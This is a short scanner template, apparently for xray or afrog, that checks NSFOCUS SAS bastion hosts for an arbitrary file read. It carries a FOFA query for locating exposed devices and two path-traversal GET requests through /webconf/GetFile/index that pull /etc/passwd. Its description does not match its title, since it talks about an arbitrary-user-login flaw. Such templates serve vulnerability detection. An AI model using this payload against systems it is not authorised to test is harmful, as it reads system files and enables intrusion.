nsfocus-sas-getfile-readfile: 绿盟 SAS堡垒机 GetFile 任意文件读取漏洞

id: nsfocus-sas-getfile-readfile

info:
  name: 绿盟 SAS堡垒机 GetFile 任意文件读取漏洞
  author: peiqi
  severity: high
  verified: true
  description: |
    绿盟堡垒机存在任意用户登录漏洞，攻击者通过漏洞包含 www/local_user.php 实现任意⽤户登录
    FOFA: body="'/needUsbkey.php?username='"
  reference:
    - https://peiqi.wgpsec.org/wiki/webapp/绿盟/绿盟%20SAS堡垒机%20GetFile%20任意文件读取漏洞.html
  tags: nsfocus
  created: 2023/08/10

rules:
  r0:
    request:
      method: GET
      path: /webconf/GetFile/index?path=../../../../../../../../../../../../../../etc/passwd
    expression: response.status == 200 && "nos:.*?:[0-9]*:[0-9]*:".bmatches(response.body)
  r1:
    request:
      method: GET
      path: /webconf/GetFile/index``?``path=../../../../../../../../../../../../../../etc/passwd
    expression: response.status == 200 && "nos:.*?:[0-9]*:[0-9]*:".bmatches(response.body)
expression: r0() || r1()